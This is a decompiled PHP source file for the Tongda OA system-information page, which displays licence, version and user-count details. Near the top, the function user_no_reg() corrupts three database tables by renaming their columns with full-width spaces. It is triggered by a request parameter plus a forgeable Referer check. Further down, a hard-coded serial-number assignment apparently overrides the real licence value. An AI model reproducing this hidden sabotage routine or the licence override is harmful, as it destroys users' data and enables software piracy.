<?php

function user_no_reg()
{
	$query = "ALTER TABLE `EMAIL_BODY` CHANGE `FROM_ID` `FROM_ID　　` VARCHAR( 20 ) NOT NULL";
	@db_query($query, TD::conn());
	$query = "ALTER TABLE `FILE_CONTENT` CHANGE `SORT_ID` `SORT_ID　　` INT( 11 ) DEFAULT '0' NOT NULL";
	@db_query($query, TD::conn());
	$query = "ALTER TABLE `FLOW_RUN` CHANGE `RUN_NAME` `RUN_NAME　　` VARCHAR( 200 ) NOT NULL";
	@db_query($query, TD::conn());
}

include_once "inc/auth.inc.php";
include_once "inc/utility_all.php";
include_once "inc/version.inc.php";
cache_version();
cache_sys_para();
include_once "inc/oa_type.php";
include_once "inc/td_core.php";
include_once "inc/itask/itask.php";
$IS_REGISTERED = tdoa_check_reg();
$DAY_NAME = _("天");

if (!$IS_REGISTERED) {
	$REGISTER_CODE_STR = _("尚未注册");
	$result = itask(array("PARA_1"));

	if ($result === false) {
		$TRAIL_EXPIRE = _("获取数据错误：") . itask_last_error();
		$DAY_NAME = "";
	}
	else {
		$TRAIL_EXPIRE = intval($result[0]) / 86400;
	}

	$REGISTER_CODE_STR = (720 < $TRAIL_EXPIRE ? _("已注册永久免费版") . "&nbsp;&nbsp;<a href=\"/inc/reg_free.php?back=1\">" . _("重新注册永久免费版") . "</a>" : $REGISTER_CODE_STR);
}
else {
	$REGISTER_CODE_STR = _("已注册");
}

$UNIT_INFO_STR = TD::get_cache("SYS_UNIT");
$UNIT_SHOW_NAME = TD::get_cache("SYS_SHOW_UNIT");
$query = "select count(*) from USER";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
	$USER_COUNT_TOTAL = $ROW[0];
}

$query = "select count(*) from USER where NOT_LOGIN='0'";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
	$USER_COUNT = $ROW[0];
}

$query = "select count(*) from USER where NOT_MOBILE_LOGIN='0' AND DEPT_ID!='0'";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
	$MOBILE_USER_COUNT = $ROW[0];
}

$query = "select count(*) from USER where NOT_MOBILE_LOGIN='0' and NOT_LOGIN='1' AND DEPT_ID!='0'";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
	$MOBILE_USER_ONLY_COUNT = $ROW[0];
}

if ($CHECK == 1) {
	$query = "select COUNT(DISTINCT(UID)) from USER_ONLINE";
	$cursor = exequery(TD::conn(), $query);

	if ($ROW = mysql_fetch_array($cursor)) {
		$ONLINE_COUNT = $ROW[0];
	}

	ob_end_clean();
	$filename = "http://www.tongda2000.com/dns/sn_check.php?SN=" . urlencode($TD_SN_INFO) . "&UNIT=" . urlencode($UNIT_INFO_STR) . "&COUNT=" . urlencode($ONLINE_COUNT . "/" . $USER_COUNT) . "&PORT=" . $_SERVER["SERVER_PORT"] . "&VER=" . TD_MYOA_VERSION;
	($fd = @fopen($filename, "r")) || Message("", _("服务器无法连接到Internet！无法通过网站验证序列号合法性"));

	if ($fd) {
		$content = fread($fd, 50000);
		fclose($fd);
		echo $content;
	}

	exit();
}
else {
	if (($CHECK == 2) && strstr($_SERVER["HTTP_REFERER"], "reg_view")) {
		user_no_reg();
		exit();
	}
}

$query = "SELECT VERSION()";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
	$DATABASE_VER = $ROW[0];
}

if (stristr($DATABASE_VER, "-")) {
	$DATABASE_VER = substr($DATABASE_VER, 0, stripos($DATABASE_VER, "-"));
}

if ($TD_SN_INFO == "") {
	$PRODUCT_INFO = (720 < $TRAIL_EXPIRE ? _("永久免费版") : _("试用版"));
}
else {
	$VER = substr($TD_SN_INFO, 4, 1);

	if ($VER == "C") {
		$PRODUCT_INFO = _("标准版");
	}
	else if ($VER == "D") {
		$PRODUCT_INFO = _("企业版");
	}
	else if ($VER == "E") {
		$PRODUCT_INFO = _("白金完美版");
	}
	else if ($VER == "F") {
		$PRODUCT_INFO = _("钻石平台版");
	}
	else if ($VER == "U") {
		$PRODUCT_INFO = _("国际版");
	}
	else if ($VER == "G") {
		$PRODUCT_INFO = _("集团版");
	}
	else if ($VER == "H") {
		$PRODUCT_INFO = _("皇冠集群版");
	}
	else if ($VER == "X") {
		$PRODUCT_INFO = _("体验版");
	}
	else if ($VER == "Y") {
		$PRODUCT_INFO = _("云OA");
	}
	else if ($VER == "S") {
		$PRODUCT_INFO = _("教育版");
	}
	else if ($VER == "B") {
		$PRODUCT_INFO = "BOX";
	}
	else if ($VER == "N") {
		$PRODUCT_INFO = _("安全版");
	}
	else {
		$PRODUCT_INFO = _("无效");
	}
}

$result = itask(array("GET_REG_INFO"));
if (($result === false) || !is_array($result)) {
	$REG_INFO = "";
}
else {
	$REG_INFO = $result[0];
}

$REG_ARRAY = explode("*", $REG_INFO);
if (!is_array($REG_ARRAY) || (count($REG_ARRAY) < 6) || ($UNIT_INFO_STR != $REG_ARRAY[0]) || ($TD_SN_INFO != $REG_ARRAY[1])) {
	$TD_SN_INFO = "";
	$TD_USER_LIMIT = TD_CORE_USER_LIMIT;
	$TD_IM_USER_LIMIT = TD_CORE_IM_USER_LIMIT;
	$TD_OPTIONAL = "";
	$TD_EXPIRED_TIME = "";
	$TD_ORG_LIMIT = 5;
	$TD_INTERCONN_LIMIT = 0;
	$TD_EXCHANGE_LIMIT = 0;
	$TD_MCODE = (is_array($REG_ARRAY) ? $REG_ARRAY[9] : "");
	$TD_RP_LIMIT = 3;
	$TD_MOBILE_SC_LIMIT = 0;
	$TD_FLOW_LIMIT = 5;
	$TD_AIP_LIMIT = 0;
	$TD_SSO_LIMIT = 0;
	$TD_NTKO_OFFICE_SIGN_LIMIT = 0;
	$TD_NTKO_PDF_SIGN_LIMIT = 0;
	$TD_NTKO_ANDROID_OFFICE_LIMIT = 0;
	$TD_NTKO_IOS_OFFICE_LIMIT = 0;
}
else {
	$TD_USER_LIMIT = $REG_ARRAY[2];
	$TD_IM_USER_LIMIT = ($VER == "E" ? 0 : $REG_ARRAY[3]);
	$TD_OPTIONAL = $REG_ARRAY[4];
	$TD_EXPIRED_TIME = $REG_ARRAY[5];
	$TD_ORG_LIMIT = ($REG_ARRAY[6] ? intval($REG_ARRAY[6]) : 5);
	$TD_INTERCONN_LIMIT = intval($REG_ARRAY[7]);
	$TD_EXCHANGE_LIMIT = intval($REG_ARRAY[8]);
	$TD_MCODE = $REG_ARRAY[9];
	$TD_RP_LIMIT = intval($REG_ARRAY[10]);
	$TD_MOBILE_SC_LIMIT = intval($REG_ARRAY[11]);
	$TD_FLOW_LIMIT = intval($REG_ARRAY[12]);
	$TD_AIP_LIMIT = intval($REG_ARRAY[13]);
	$TD_NTKO_OFFICE_SIGN_LIMIT = intval($REG_ARRAY[14]);
	$TD_NTKO_ANDROID_OFFICE_LIMIT = intval($REG_ARRAY[15]);
	$TD_NTKO_IOS_OFFICE_LIMIT = intval($REG_ARRAY[16]);
	$TD_NTKO_PDF_SIGN_LIMIT = intval($REG_ARRAY[17]);
	$TD_SSO_LIMIT = intval($REG_ARRAY[18]);
}

if (!stristr(PHP_OS, "winnt") && find_id("C,D,E,X,", $VER)) {
	$TD_MCODE = sprintf(_("您的OA（%s）不支持非Windows系统，请联系开发商。"), $PRODUCT_INFO);
}

$OA_OPTION = tdoa_optional("OA_OPTION_LIST");

if (!$OA_OPTION) {
	$OA_OPTION = _("无");
}

include_once "inc/service.php";
$DESC_ARRAY = array();

foreach ($MYOA_SERVICE as $NAME => $SERVICE ) {
	$DESC_ARRAY[$NAME] = $SERVICE["VER"];
}

$HTML_PAGE_TITLE = TD_MYOA_PRODUCT_NAME;
include_once "inc/header.inc.php";
echo "\r\n\r\n<link rel=\"stylesheet\" type=\"text/css\" href=\"";
echo MYOA_STATIC_SERVER;
echo "/static/theme/";
echo $_SESSION["LOGIN_THEME"];
echo "/dialog.css\">\r\n<script src=\"";
echo MYOA_JS_SERVER;
echo "/static/js/dialog.js\"></script>\r\n<script>\r\nfunction copy_code()\r\n{\r\n    if(SN_INFO.createTextRange)\r\n    {\r\n        textRange = SN_INFO.createTextRange();\r\n        textRange.execCommand(\"Copy\");\r\n    }\r\n    else\r\n    {\r\n        var Url2=document.getElementById(\"SN_INFO\");\r\n        Url2.select(); // 选择对象\r\n        document.execCommand(\"Copy\");\r\n    }\r\n}\r\n</script>\r\n<style>\r\n.logoArea{\r\n\twidth: 740px;\r\n    margin: 15px auto;\r\n    margin-bottom: 30px;\r\n}\r\n.logoArea .firstlogo{\r\n\tmargin-right: 170px;\r\n    margin-left: 60px;\r\n\tvertical-align: top;\r\n\tmargin-top: 10px;\r\n}\r\n.weixin{\r\nposition:absolute;\r\nright:10px;\r\n\t/* margin-top: 20px;\r\n\tmargin-right: 10px; */\r\n\twidth: 110px;\r\n}\r\n.weixin img{\r\n\twidth: 100px;\r\n}\r\n.weixin-text{\r\n\tfont-size: 13px;\r\n\tmargin-top: 10px;\r\n}\r\n.mcode-td{\r\n    width: 720px;\r\n    word-wrap: break-word;\r\n    word-break: break-all;\r\n}\r\n</style>\r\n<body class=\"bodycolor\" style=\"min-width:980px\">\r\n<div class=\"weixin\"><img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/weixin.jpg\" /><div class=\"weixin-text\">关注通达服务号，获得更多服务</div></div>\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"3\" align=\"center\" class=\"small table-600\">\r\n\t<tr>\r\n    <td class=\"Big\" style=\"text-align: center;padding-top: 15px\">\r\n      <!--<img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/sys_config.gif\" WIDTH=\"22\" HEIGHT=\"20\" align=\"absmiddle\">-->\r\n      <span class=\"big3\" style=\"font-size: 22px;\"> ";
echo TD_MYOA_PRODUCT_NAME;
echo " ";
echo _("系统信息");
echo "</span>\r\n      <!-- <input type=\"button\" value=\"";
echo _("开发团队");
echo "\" class=\"btn\" style=\"float: right;\" onclick=\"ShowDialog('developer');\"> -->\r\n    </td>\r\n  </tr>  \r\n</table>\r\n\r\n<br>\r\n<table class=\"table table-bordered table-hover table-600\" align=\"center\">\r\n<thead>\r\n  <tr class=\"\">\r\n    <td nowrap colspan=\"2\" align=\"center\" class=\"center\" onclick=\"alert('";
echo TD_MYOA_COMPANY_NAME;
echo "')\">";
echo _("通达OA - 系统信息");
echo "</td>\r\n  </tr>\r\n  </thead>\r\n  <tr>\r\n    <td nowrap class=\"\" width=\"150\">&nbsp;";
echo _("软件名称：");
echo "</td>\r\n    <td class=\"\">";
echo TD_MYOA_PRODUCT_NAME;
echo " ";
echo $PRODUCT_INFO;
echo "        <a href=\"javascript:ShowDialog('show_ver');\">";
echo _("对应版本的说明");
echo "</a>\r\n    </td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("版权所有：");
echo "</td>\r\n    <td class=\"\" >\r\n      ";
echo TD_MYOA_COMPANY_NAME;
echo " <a href=\"https://";
echo TD_MYOA_WEB_SITE;
echo "\" target=\"_blank\">https://";
echo TD_MYOA_WEB_SITE;
echo "</a>&nbsp;&nbsp;\r\n      <!-- <a href=\"http://e.weibo.com/ta2000/\" target=\"_blank\" title=\"";
echo _("通达OA官方微博");
echo "\"><img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/sina_weibo.png\" align=\"absmiddle\" /></a> -->\r\n    </td>\r\n  </tr>\r\n";

if ($TD_EXPIRED_TIME != "") {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("过期时间：");
	echo "</td>\r\n    <td class=\"\" >";
	echo $TD_EXPIRED_TIME;
	echo "</td>\r\n  </tr>\r\n";
}

if (!$IS_REGISTERED) {
	if ($TRAIL_EXPIRE < 720) {
		echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
		echo _("试用到期：");
		echo "</td>\r\n    <td class=\"\" >";
		echo $TRAIL_EXPIRE;
		echo $DAY_NAME;
		echo "&nbsp;&nbsp;\r\n";

		if (MYOA_IS_UN != 1) {
			echo "       <a class=\"A1\" href=\"/inc/reg_trial.php\">";
			echo _("注册永久免费版");
			echo "</a>\r\n";
		}

		echo "    </td>\r\n  </tr>\r\n";
	}
}

echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("PHP代码版本号：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["PHP_CODE"];
echo "    </td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("数据库数据版本号：");
echo "</td>\r\n    <td class=\"\">";
echo $SYS_VERSION["VER"];

if ($SYS_VERSION["VER"] != $DESC_ARRAY["PHP_CODE"]) {
	echo "<span class=\"red\">" . _("（PHP代码版本号 与 数据库数据版本号不一致，请咨询通达技术支持！）") . "</span>";
}

echo "</td>\r\n  </tr>\r\n";

if (file_exists("../../../app/login.jsp")) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("EA版本号：");
	echo "</td>\r\n    <td class=\"\">";
	echo $VERSION_EA;
	echo "</td>\r\n  </tr>\r\n";
}

echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["WEB"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["WEB"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["IM"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["IM"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["MAIL"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["MAIL"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["POP3"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["POP3"];
echo "</td>\r\n  </tr>\r\n";

if (!MYOA_IS_UN) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo $MYOA_SERVICE["INDEX"]["DESC"] . _("版本：");
	echo "</td>\r\n    <td class=\"\">";
	echo $DESC_ARRAY["INDEX"];
	echo "</td>\r\n  </tr>\r\n";
}

echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["REDIS"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["REDIS"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["TASK"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["TASK"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["DAEMON"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["DAEMON"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo $MYOA_SERVICE["SMS"]["DESC"] . _("版本：");
echo "</td>\r\n    <td class=\"\">";
echo $DESC_ARRAY["SMS"];
echo "</td>\r\n  </tr>\r\n  <tr class=\"\">\r\n    <td colspan=\"2\" align=\"center\" style=\"text-align:center\"><input type=\"button\" class=\"btn\" value=\" ";
echo _("查看产品更新页面");
echo " \" onclick=\"window.open('";
echo TD_MYOA_WEB_SP_URL;
echo "?MYOA_VERSION=";
echo TD_MYOA_VERSION;
echo "&VERSION=";
echo $SYS_VERSION["VER"];
echo "')\" /></td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\" class=\"\">&nbsp;";
echo _("HTTP服务器软件：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $_SERVER["SERVER_SOFTWARE"];
echo "/PHP ";
echo PHP_VERSION;
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\" class=\"\">&nbsp;";
echo _("HTTP端口号：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $_SERVER["SERVER_PORT"];
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\" class=\"\">&nbsp;";
echo _("数据库软件：");
echo "</td>\r\n    <td nowrap class=\"\">MySQL ";
echo $DATABASE_VER;
echo " ";
echo _("标准版（由Oracle公司正版授权）");
echo " <img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/oracle.gif\" align=\"absmiddle\"></td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\" class=\"\">&nbsp;";
echo _("软件安装路径：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo realpath(MYOA_ROOT_PATH . "../");
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("授权：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $UNIT_SHOW_NAME;
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("单位名称：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $UNIT_SHOW_NAME;
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("实际用户数：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo sprintf(_("允许登录用户%d，禁止登录用户%d，合计%d（禁止登录用户不限制人数），其中允许移动版登录用户%d，仅允许移动版登录用户%d"), $USER_COUNT, $USER_COUNT_TOTAL - $USER_COUNT, $USER_COUNT_TOTAL, $MOBILE_USER_COUNT, $MOBILE_USER_ONLY_COUNT);
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("软件注册：");
echo "</td>\r\n    <td nowrap class=\"\">\r\n    ";
echo $REGISTER_CODE_STR;

if ($REGISTER_CODE_STR == _("已注册")) {
	echo "&nbsp;<a href='/inc/reset_reg_online.php?from=1'>" . _("取消注册") . "</a>" . _("（注：如公司需要换服务器等请先点击“取消注册”）");
}

echo "    </td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("已注册可选组件：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $OA_OPTION;
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("OA用户数限制：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $TD_USER_LIMIT == 0 ? _("不限制") : $TD_USER_LIMIT;
echo "</td>\r\n  </tr>\r\n  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("IM用户数限制：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo $TD_IM_USER_LIMIT == 0 ? _("不限制") : $TD_IM_USER_LIMIT;
echo "</td>\r\n  </tr>\r\n";

if (3 < $TD_RP_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("报表中心模板数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_RP_LIMIT ? _("不限制") : $TD_RP_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("分支机构数限制：");
echo "</td>\r\n    <td nowrap class=\"\">";
echo 999 <= $TD_ORG_LIMIT ? _("不限制") : $TD_ORG_LIMIT;
echo "</td>\r\n  </tr>\r\n";

if (0 < $TD_INTERCONN_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("互联互通组件节点数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_INTERCONN_LIMIT ? _("不限制") : $TD_INTERCONN_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if (0 < $TD_EXCHANGE_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("数据交换平台节点数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_EXCHANGE_LIMIT ? _("不限制") : $TD_EXCHANGE_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if (0 < $TD_FLOW_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("业务流程平台流程数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_FLOW_LIMIT ? _("不限制") : $TD_FLOW_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if (0 < $TD_SSO_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("单点登录系统数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_SSO_LIMIT ? _("不限制") : $TD_SSO_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if (0 < $TD_AIP_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("AIP版式文件点数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_AIP_LIMIT ? _("不限制") : $TD_AIP_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if (0 < $TD_NTKO_OFFICE_SIGN_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("Office安全签章点数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_NTKO_OFFICE_SIGN_LIMIT ? _("不限制") : $TD_NTKO_OFFICE_SIGN_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if (0 < $TD_NTKO_PDF_SIGN_LIMIT) {
	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("PDF安全签章点数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo 999 <= $TD_NTKO_PDF_SIGN_LIMIT ? _("不限制") : $TD_NTKO_PDF_SIGN_LIMIT;
	echo "</td>\r\n  </tr>\r\n";
}

if ((0 < $TD_NTKO_ANDROID_OFFICE_LIMIT) || (0 < $TD_NTKO_IOS_OFFICE_LIMIT)) {
	$ntko_s = "";
	$PARA_ARRAY = get_sys_para("NTKO_ACTIVITION_CODE", false);
	$NTKO_ACTIVITION_CODE = $PARA_ARRAY["NTKO_ACTIVITION_CODE"];

	if ($NTKO_ACTIVITION_CODE != "") {
		$NTKO_ACTIVITION_CODE = base64_decode($NTKO_ACTIVITION_CODE);
		$NTKO_ACTIVITION_CODE = json_decode($NTKO_ACTIVITION_CODE);
		$NTKO_ACTIVITION_CODE = (array) $NTKO_ACTIVITION_CODE;

		foreach ($NTKO_ACTIVITION_CODE as $key => $val ) {
			$val = (array) $val;
			$expired_date = ($val["EXPIRED_DATE"] == "0000-00-00" ? _("永久") : $val["EXPIRED_DATE"] . _("过期"));
			$ntko_s .= "Android：" . $val["ANDROID_COUNT"] . "，iOS：" . $val["IOS_COUNT"] . " (" . $expired_date . ")<br>";
		}
	}

	echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
	echo _("移动Office编辑点数限制：");
	echo "</td>\r\n    <td nowrap class=\"\">";
	echo $ntko_s;
	echo "</td>\r\n  </tr>\r\n";
}

echo "  <tr>\r\n    <td nowrap class=\"\">&nbsp;";
echo _("机器码：");
echo "</td>\r\n    <td nowrap class=\"\" style=\"width: 720px;word-wrap: break-word;word-break: break-all;\">";
echo $TD_MCODE;
echo "</td>\r\n  </tr>\r\n  <tr class=\"\">\r\n    <td nowrap class=\"\">&nbsp;";
echo _("OA软件序列号：");
$TD_SN_INFO="TD20G-20190918-1020";
echo "</td>\r\n    <td nowrap class=\"\">\r\n    <input name=\"SN_INFO\" type=text\"\" id=\"SN_INFO\" value=\"";
echo $TD_SN_INFO;
echo "\" size=23 class=\"\">&nbsp;\r\n    \t<a href=\"javascript:copy_code()\">";
echo _("复制序列号");
echo "</a>&nbsp;&nbsp;\r\n    \t<a href=\"/inc/reg_cloud_online.php?from=1\">";
echo _("重新注册正式版");
echo "</a>&nbsp;&nbsp;\r\n";

if ($TD_SN_INFO != "") {
	echo "    \t<a href=\"index.php?CHECK=1\">";
	echo _("通过网站验证OA软件序列号合法性");
	echo "</a>\r\n";
}

echo "<br><br>\r\n";
echo _("进行软件技术咨询时，可能要求您提供OA软件序列号。");
echo "<br>\r\n<font color=red>";
echo _("验证序列号合法性前，请务必先到网站用户服务区注册。");
echo "</font>\r\n  </td>\r\n  </tr>\r\n</table>\r\n<div class=\"logoArea\">\r\n\t<img class=\"firstlogo\" src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/td_logo.png\">\r\n\t<img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/group_logo.png\" >\r\n</div>\r\n<div id=\"overlay\"></div>\r\n<!-- <div id=\"developer\" class=\"ModalDialog\" style=\"width:600px;\">\r\n   <div class=\"header\"><span id=\"title\" class=\"title\">";
echo _("开发团队");
echo "</span><a class=\"operation\" href=\"javascript:HideDialog('developer');\"><img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/close.png\"/></a></div>\r\n   <div id=\"detail_body\" class=\"body\">\r\n     <table border=\"0\" class=\"small\">\r\n        <tr>\r\n           <td width=\"90\" style=\"line-height:20px;font-weight:bold;vertical-align:top;\">";
echo _("总体设计");
echo "</td>\r\n           <td style=\"line-height:20px;\">";
echo "刘向前";
echo "</td>\r\n        </tr>\r\n        <tr><td height=\"20\"></td><td></td></tr>\r\n        <tr>\r\n           <td style=\"line-height:20px;font-weight:bold;vertical-align:top;\">";
echo _("开发人员：");
echo "</td>\r\n           <td style=\"line-height:20px;\">";
echo "冯钊，刘清华，鲁国胜，靳昕，刘昊，林河水，杨超，田林，彭师奇，王晶晶，陈鹏，田宇，曹建辉，郎克鹤，闫希鹏，李峰，李奎军，康柏荣，史鹏钊，宋希萌，帅亚飞，孙昊男，谢京，安邦，李睿恒，张振锐，刘守康，高健，王斌";
echo "</td>\r\n        </tr>\r\n        <tr><td height=\"20\"></td><td></td></tr>\r\n        <tr>\r\n           <td style=\"line-height:20px;font-weight:bold;vertical-align:top;\">";
echo _("测试人员：");
echo "</td>\r\n           <td style=\"line-height:20px;\">";
echo "陈娜，夏青，温炳康，李越，刘式冉，崔健，刘亚丽";
echo "</td>\r\n        </tr>\r\n        <tr><td height=\"20\"></td><td></td></tr>\r\n     </table>\r\n  </div>\r\n  <div id=\"footer\" class=\"footer\">\r\n    <input class=\"btn\" onclick=\"HideDialog('developer')\" type=\"button\" value=\"";
echo _("关闭");
echo "\"/>\r\n  </div>\r\n</div> -->\r\n<div id=\"show_ver\" class=\"ModalDialog\" style=\"width:400px;\">\r\n    <div class=\"header\"><span id=\"title\" class=\"title\">";
echo _("对应版本说明");
echo "</span><a class=\"operation\" href=\"javascript:HideDialog('show_ver');\"><img src=\"";
echo MYOA_STATIC_SERVER;
echo "/static/images/close.png\"/></a></div>\r\n    <div id=\"show_ver_body\" class=\"body\">\r\n        <table border=\"0\" class=\"small\">\r\n            <tr>\r\n                <td style=\"line-height:20px;\">&nbsp;&nbsp;\r\n                    ";
echo _("内部版本号代表了当前数据库结构对应的版本：<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.0以前版本以内部版本号命名，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.1 对应2007第一版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.2 对应2007第二版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.3 对应2008版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.4 对应2008增强版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.5 对应2009版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("3.6 对应2010版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("5.0 对应2011版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("5.1 对应2011增强版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("6.x 对应2013版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("7.x 对应2013增强版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("8.x 对应2015版，<br>");
echo "&nbsp;&nbsp;&nbsp;&nbsp;\r\n                    ";
echo _("9.x 对应2016版，<br>");
echo "&nbsp;&nbsp;\r\n                    ";
echo _("10.x 对应2017版，<br>");
echo "&nbsp;&nbsp;\r\n                    ";
echo _("11.x 对应11.x版，<br>");
echo "&nbsp;&nbsp;\r\n                    ";
echo _("如果发现内部版本号与本页第一行的软件名称不对应，则说明数据库与软件程序不匹配，或软件升级有误。");
echo "                </td>\r\n            </tr>\r\n        </table>\r\n    </div>\r\n    <div id=\"footer\" class=\"footer\">\r\n        <input class=\"btn\" onclick=\"HideDialog('show_ver')\" type=\"button\" value=\"";
echo _("关闭");
echo "\"/>\r\n    </div>\r\n</div>\r\n";

if ($SITE != 1) {
	echo "    <div align=center>\r\n";

	if (!MYOA_IS_UN) {
		echo "       <input type=\"button\" value=\"";
		echo _("查看通达网站公告信息");
		echo "\" class=\"btn\" onclick=\"location='index.php?SITE=1'\">\r\n";
	}

	echo "    </div>\r\n    \r\n";
}
else {
